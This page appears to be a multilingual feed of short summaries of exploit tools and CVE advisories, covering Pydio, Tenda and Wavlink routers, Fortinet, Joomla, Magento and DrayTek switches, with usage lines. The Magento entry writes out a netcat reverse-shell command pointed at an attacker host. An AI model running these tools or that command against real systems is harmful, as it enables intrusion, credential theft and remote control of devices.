CVE-2018-14772

CVE-2018-14772 信息 这是用于 CVE-2018-14772 的概念验证远程代码执行漏洞利用程序，该漏洞是我在 pydio 文件共享平台中发现的。它需要拥有 pydio 应用程序管理员凭证才能运行。你可以这样运行该利用程序： 用法 root@kitploit: $ python exploit.py -h usage: exploit.py -h -t TARGET -u USERNAME -p PASSWORD -L LISTENERIP -P LISTENERPORT --payload PAYLOAD exploit some pydio boxes...

Tenda-F3-V4

Tenda F3 路由器漏洞利用与文件下载器 该项目是一个工具，用于通过未经身份验证的漏洞（CVE-2020-35391）从 Tenda F3 路由器（v3/v4）下载各种文件。它允许你从易受攻击的路由器获取配置文件、系统日志和闪存转储。 概述 该脚本利用了 Tenda F3 路由器中发现的一个漏洞，使攻击者无需认证即可下载敏感文件。具体来说，可以下载以下文件（我正在研究增加更改密码的可能性）： 配置文件 RouterCfm.cfg（包含所有明文信息） 系统日志文件 RouterSystem.log 闪存转储 RouterFlash.bin 从配置文件中提取管理员用户名和密码 功能特点...

Fortinet-CVE-2022-40684

Fortinet-CVE-2022-40684 Descripción de la herramienta Herramienta de explotación rápida para CVE-2022-40684. Código para principiantes; si hay problemas, no dudes en abrir un issue. Uso main -t http://127.0.0.1 -u admin -f path-of-ssh-key.pub Aviso legal Esta herramienta está destinada únicamente...

CVE-2026-1459-POC

CVE-2026-1459-POC CVE-2026-1459 的 POC，其载荷会更改 root 的 SSH 密码。 需要有效的管理员凭据，会临时更改 root 密码，重启后将重置 root 密码。 适用于 VMG3625-T50B 及类似设备，保证在固件 V5.50ABPM.9.7C0 或更早版本上有效。...

CVE-2026-49833 DSpace: Path Traversal possible in LDN message generation

DSpace open source software is a repository application which provides durable access to digital resources. From versions 8.0-rc1 to before 8.4, 9.0-rc1 to before 9.3, and 10-rc1 to before 10.0, a path traversal vulnerability is possible via the COAR Notify / LDN service in DSpace. The attacker...

CVE-2024-3400

CVE-2024-3400 PoC 仅用于教育目的。只能在获得授权测试的服务器上使用。 使用方法 依赖： root@kitploit: $ pip install rich 扫描 targets.txt： root@kitploit: $ python run.py -f targets.txt -t 10 - Sending 102 requests... + Requests sent. Writing check file... - Polling 36... - Checking...

CVE-2015-1397-Magento-Shoplift

CVE-2015-1397-Magento-Shoplift 漏洞详情 漏洞出现在 HackTheBox 的 SwagShop 中 阶段 1 = exploit.py 获取 Magento CMS 管理后台的管理员凭据 阶段 2 = postauth.py 将 exploit.py 获取的凭据添加到 postauth.py 后，运行： root@kitploit: python3 postauth.py http://TARGET.SITE/index.php/admin "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc YOUR...

CVE-2021-22911-rust

CVE-2021-22911 关于此CVE的Rust概念验证。用作 https://tryhackme.com/room/rocket 的一部分，这是一个在TryHackMe学习平台上的CTF从启动到root的挑战。 使用前，更新main.rs中的常量并运行，它应该可以直接工作。要求您拥有管理员电子邮件地址和用户名，并且未启用MFA。 基于 https://www.exploit-db.com/exploits/49960，一个依赖于启用MFA的Python实现（并且对于此版本的RocketChat无法直接使用）。...

SimpleCTF-UpdatedExploit

CMS Made Simple -c -w 参数 -u, --url：目标 CMS Made Simple 实例的基础 URL（例如 http://example.com/cms）。 -c, --crack：可选。尝试使用提供的字典文件破解管理员密码。 -w, --wordlist：可选。用于密码破解的字典文件路径。 示例 示例 1：提取信息而不进行密码破解 root@kitploit: python3 updated46635.py -u http://example.com/cms 示例 2：提取信息并破解密码 root@kitploit: python3 updated46635....

CVE-2026-3055-Scanner---Herramienta-de-Detecci-n

🔍 CVE-2026-3055 扫描器 - NetScaler 内存越界读取检测工具 ⚠️ 警告 此工具仅用于教育和授权测试目的。未经所有者明确许可，请勿在系统上使用。 📋 描述 用于 CVE-2026-3055 的检测工具，可识别存在内存越界读取漏洞的 Citrix NetScaler ADC 和 Gateway 设备。支持单目标、网段或主机列表扫描，检测 /wsfed/passive?wctx 端点上的内存泄漏，提取管理 session ID，验证受影响版本，并生成多种格式的报告。 🎯 功能特性 ✅ 单 URL/IP 检测 ✅ 完整网段扫描（CIDR） ✅ 从文件读取主机列表进行扫描 ...

Emlog 2.1.9 - SQL Injection

emlog v2.1.9 contains a SQL injection caused by unsanitized input in the data backup/restore functionality, allowing attackers to execute arbitrary SQL commands through crafted backup files. id: CVE-2023-39121 info: name: Emlog 2.1.9 - SQL Injection author: wjch611 severity: high description: |...

Wavlink WL-WN530HG4 M30HG4.V5030.201217 - Information Disclosure

An access control issue in Wavlink WL-WN530HG4 M30HG4.V5030.201217 allows unauthenticated attackers to download configuration data and log files and obtain admin credentials. id: CVE-2022-48166 info: name: Wavlink WL-WN530HG4 M30HG4.V5030.201217 - Information Disclosure author: ritikchaddha...

Wavlink WL-WN533A8 M33A8.V5030.190716 - Information Disclosure

An access control issue in the component /cgi-bin/ExportLogs.sh of Wavlink WL-WN533A8 M33A8.V5030.190716 allows unauthenticated attackers to download configuration data and log files and obtain admin credentials. id: CVE-2022-48164 info: name: Wavlink WL-WN533A8 M33A8.V5030.190716 - Information...

CVE-2022-3552

CVE-2022-3552 为了利用BoxBlilling中的漏洞，版本必须为："BoxBilling=4.22.1.5"，并且你必须拥有 有效的管理员凭据 。 如果你满足上述条件，以下是获取美味的RCE（远程代码执行）所需的步骤： 创建一个 Python 虚拟环境（Linux） root@kitploit: python3 -m venv .venv root@kitploit: source .venv/bin/activate 现在安装这个 pwntools 库 root@kitploit: pip3 install pwntools 如果报错缺少依赖，你可能还需要安装一些系统包：...

CVE-2023-23752

CVE-2023-23752 关于 此漏洞利用可实现认证绕过，泄露管理员用户名和密码，同时也会泄露 MySQL 配置的用户名、密码、主机和数据库 仅影响版本 4.00 = 4.28 用法 root@kitploit: usage: exploit.sh -h -u URL -t TARGETS CVE-2023-23752 - Joomla! 认证绕过信息泄露 options: -h, --help 显示此帮助信息并退出 -u URL, --url URL 要扫描的单个 URL -t TARGETS, --targets TARGETS 包含多个要扫描的 URL 的文件 概念验证 POC...

mikrot8over

mikrot8over mikrot8over: strumento di sfruttamento rapido per Mikrotik RouterOS fino alla versione 6.38.4 Descrizione Questa è una rielaborazione dell'originale Mikrotik Exploit. Sono state aggiunte la compatibilità con Python 2 e funzionalità di scansione multithreading. Versione Python L'utilit...

CVE-2026-71927

Multiple DrayTek VigorSwitch models contain a command injection vulnerability in the rebDevice function. The vulnerability is caused by insufficient filtering of the username and password fields before command execution. A remote attacker can trigger this vulnerability via crafted input to execut...

CVE-2026-71929

Multiple DrayTek VigorSwitch models contain a command injection vulnerability in the setDevProto function. The vulnerability is caused by insufficient filtering of the username and password fields before command execution. A remote attacker can trigger this vulnerability via crafted input to...

CVE-2026-71919

Multiple DrayTek VigorSwitch models contain a command injection vulnerability in the sysreboot function. The vulnerability is caused by insufficient filtering of the config, act, pathN, and valueN fields before command execution. A remote attacker can trigger this vulnerability via crafted input ...

CVE-2026-71916

Multiple DrayTek VigorSwitch models contain a command injection vulnerability in the commandTable function. The vulnerability is caused by incomplete filtering of dangerous characters such as backticks, newline characters, and single quotes in the parameter field. A remote attacker can trigger th...